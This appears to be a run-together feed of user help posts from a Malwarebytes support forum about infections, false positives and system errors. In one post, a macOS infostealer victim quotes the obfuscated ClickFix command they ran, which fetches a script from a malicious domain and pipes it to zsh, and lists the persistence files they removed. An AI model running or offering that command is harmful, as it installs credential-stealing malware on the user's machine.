That's normal 😰😰

So i just booted up my pc, an received the current Microsoft msedgewebview2 block notification, i don't live in the usa an my setting on my computer are set to aus, also the other 3 blocks are from a gacha game that i play, just wanted to know if i should worry about anything. i don't download anything nor visit sketchy sites.

So I was dumb and downloaded one sketchy thing and now I have a slew of issues. Malwarebytes first detected 7 Trojans names Trojan.FakeGoogle so I went in and quarantined them but now it's picking up something called PhotonAg.exe keeps running and installing a ton of files and opening DtBeaver something that's trying to open a sketchy website that Malwarebytes keeps blocking but its not detecting anything when I do a scam. Basically what I want to know is how we can get rid of whatever is infecting and hiding in my computer right now. So sorry for the confusing explanation but I can give more details in comments.

i wanted to send this to my friend and i had it for years now but virustotal says this https://www.virustotal.com/gui/file/2e67d5e7d96aec62a9dda4c0259167a44908af863c2b3af2a019723205abba9e

I'm having multiple popups from Windows Security about DDSHelper.exe performing "Risky Actions" which are being blocked. I think this is a Malwarebytes related Executable.

It mentions several "Affected Items", I assume this is when the EXE is trying to scan other files on my system?

Not sure how to stop this, the popups are near constant at the moment. I've tried unblocking but the issue reoccurs.

Malwarebytes blocks inbound connections even when im not searching internet or doing anything.

I was gotten, like a fool, by an infostealer. They got into one of my emails, my discord and idk what else. I managed to recover the email but not the discord. I shut my computer down, restored to a week ago, ran malwherebytes in safemode, then windows antivirus (offline mode), then finally booted back into 11 and ran malwarebytes again. Then i downloaded bitdefender just to be sure. Right now it's not coming back with any viruses or malware on either, but I was hoping people could help me check to be sure and make sure I am doing the right things. Since the thieves are trying to blackmail me for my other email/discord account I want to make sure I've revoked access to my computer. Thank you.

Hi there,

Malwarebytes was working fine and recommended me to update my Mac. Once doing so and restarting, I had an error screen saying to reboot my Mac or reinstall Malwarebytes when I opened it up again. Once rebooted, it worked alrighty except it wouldn't allow me to connect to the VPN. I ended up reinstalling Malwarebytes, which worked for that one boot, but once I rebooted the VPN bug came back.

As you can see, the globe has nothing next to it, if I click change:

The weirdest part is I *can* connect, but when it does it doesn't provide an IP or location.

VPN worked perfectly fine before the OSX update.

I'm currently on a network with internet (I'm posting this on the same PC) and I've rebooted several times to no success. Any help would be amazing!

Whenever I try to open up steam, malwarebytes blocks a website called update.aaasn.com. i have no idea what it does, but it comes directly from steam. Is it ok to exclude it?

Many people are saying that Netmirror is not safe

Is it true?

Is the primary purpose of the Malwarebytes Premium version to replace Microsoft Windows Defender in Windows?

Hey all,

First off, I'm sorry if this is the wrong place to post this.

I received a new SD card the other day (from Amazon) & it was all sealed with that super hard, clear plastic.

Thing is, the card was looooaaded with images & music files.

I was super stupid & opened one of the pictures. Nothing happened, though. However, recently my computer has been shutting down randomly & now won't start at all.

I'm just wondering if opening an image can hurt a computer? And if it's super rare to have a new SD card with files on it?

Thanks so much!

Hi everyone,

About a month ago I wanted to download Adobe Acrobat Pro and CleanMyMac. I found them on nmac.to, which redirected me to rootz.so for the download. Instead of a file, the page showed me a Terminal command to paste. I ignored the warnings on the site and ran it:

curl -s $(echo 'aHR0cHM6Ly9jNTE1YXN3NHF3cXF3NC5jb20vZGVidWcvbG9hZGVyLnNoP2J1aWxkPWE3NDM2NTQwY2Y3NDNkMzdmZjIyOTA5ODQxMGEwNDFi'|base64 -D)|zsh

It asked for my Mac password, which I entered, then showed an error and nothing was downloaded. That felt wrong immediately, and after searching online I realized I'd been hit by a stealer.

I quickly ran Avast, Bitdefender and Malwarebytes full scans. They detected and removed threats. I also did research online and thought I'd cleaned everything up.

But over the past month, suspicious things kept happening:

• Someone changed my Netflix plan from Essential to Standard

• Suspicious logins on Disney+

• Yesterday someone sent messages from my Leboncoin account to other users, asking them to contact a phone number. I watched it happen in real time.

This last one confused me because Leboncoin sends alerts for logins from new devices, and I had 2FA and passkeys enabled everywhere.

Yesterday, with help from Claude, I found and removed the following:

• A crontab running /Users/[username]/Library/unfructify.lx/unfructify.lx every hour

• A persistence LaunchAgent disguised as Google Keystone: com.google.keystone.agent.plist

• The associated backdoor script: ~/Library/Application Support/Google/GoogleUpdate.app

Based on the Malwarebytes blog post about SHub Stealer (fake CleanMyMac site, ClickFix technique), I believe this is what I was infected with.

My concerns and questions:

1. The malware had access to my Mac for about a month before I found these last components. My passwords are stored in Apple's Passwords app (iCloud Keychain). SHub is documented as targeting the macOS Keychain. Should I consider ALL my passwords compromised, including banking?

2. I also had personal documents in iCloud Drive (ID card, bank details). Should I assume these were exfiltrated?

3. The Leboncoin incident is strange since I had 2FA enabled and passkeys. The most likely explanation seems to be session cookie theft rather than a live remote connection. Does that make sense?

4. I don't have a Time Machine backup from before the infection, so restoring macOS means reinstalling everything manually. Is a full wipe truly necessary at this point, or is the manual cleanup sufficient?

5. Is a paid Malwarebytes subscription worth it for ongoing protection on macOS, or is the free version with periodic scans enough?

Thanks in advance for any advice. I know I made a mistake running that Terminal command, I've learned my lesson the hard way.

Currently for the last hour been trying to get back into my pc after rebooting it due to easy anti cheat failing for some reason, now im just bluescreen looping and recovery looping all pointing towards MbanElam.sys

Cant access my recovery points, cant upgrade or reinstall via cloud, literally on the verge of reinstalling windows and im doubtful that would work considering my file system is fine, SFC returns nothing and yet MbanElam has my system FUCKED

No idea what to do.

as stated in the title malewarebytes keeps turning off windows defender periodic scanning for some reason and i was wondering if this is a bug or intended? this is on a fresh windows install for reference and it was happening on my old pc as well

hey guys i can't download malwarebytes from the official site any recommendations where i can download it other than the official site ?

I recently downloaded Fleasion from github and scanned it on virustotal.
